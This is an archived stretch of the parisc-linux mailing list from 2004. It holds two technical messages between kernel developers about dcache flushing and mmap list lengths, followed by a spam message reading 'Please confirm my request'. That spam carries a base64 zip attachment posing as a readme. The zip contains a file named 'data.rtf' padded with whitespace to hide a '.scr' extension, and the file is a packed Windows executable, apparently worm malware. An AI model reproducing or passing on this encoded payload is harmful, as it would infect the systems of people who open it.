	<1081446226.2105.402.camel@mulgrave> 
	<20040408175158.GK31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623349 8061 80.91.229.3 (22 Nov 2014 02:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:09 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 12:07:45 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C73F48AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:07:44 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38I7Wa31431; Thu, 8 Apr 2004 14:07:32 -0400
In-Reply-To: <20040408175158.GK31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:07:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21337

On Thu, 2004-04-08 at 12:51, Andrea Arcangeli wrote:
> that path can take as long as timeslice to run, not taking interrupts
> for a whole scheduler timeslice is pretty bad.

OK, now I'm confused.  Where's the whole timeslice bit coming from? the
parisc flush_dcache_code better not take a timeslice to execute
otherwise we're in very serious performance trouble.

Does it take as long as a timeslice to do mmap[_shared] list insertion?

James




From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 20:18:38 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20040408181838.GN31667__38189.5877574154$1416623349$gmane$org@dualathlon.random>
References: <20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623349 8064 80.91.229.3 (22 Nov 2014 02:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:09 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 12:18:40 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0633448AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:18:40 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id EAECD4A44; Thu,  8 Apr 2004 20:18:38 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081447654.1885.430.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:18:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21338

On Thu, Apr 08, 2004 at 01:07:31PM -0500, James Bottomley wrote:
> On Thu, 2004-04-08 at 12:51, Andrea Arcangeli wrote:
> > that path can take as long as timeslice to run, not taking interrupts
> > for a whole scheduler timeslice is pretty bad.
> 
> OK, now I'm confused.  Where's the whole timeslice bit coming from? the
> parisc flush_dcache_code better not take a timeslice to execute
> otherwise we're in very serious performance trouble.
> 
> Does it take as long as a timeslice to do mmap[_shared] list insertion?

it enterely depends on the workload. On a desktop machine there may be
only some hundred entries in those lists at maximum with glibc being the
biggest offender:

cat /proc/*/maps | grep libc.so.6 | wc -l

with shared memory on some server there can be easily several thousand
entries for some inode even on 64bit, but a timeslice was probably
exaggerated (the timeslice was for the walking of the ptes in each
mapping too, I don't think you need to look at every pte).


From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ggoldman@whschool.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bad Request
Date: Thu, 8 Apr 2004 14:23:07 -0400
Lines: 577
Approved: news@gmane.org
Message-ID: <20040408181933.584FC1452@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623349 8065 80.91.229.3 (22 Nov 2014 02:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ggoldman@whschool.org  Thu Apr  8 12:19:39 2004
Return-Path: <ggoldman@whschool.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51DAD48AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:19:39 -0600 (MDT)
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70]) by cuprel1.hp.com (Postfix) with ESMTP id 584FC1452
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 11:19:33 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:19:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21339

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit


Please confirm my request.



------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="readme_parisc-linux.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="readme_parisc-linux.zip"

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
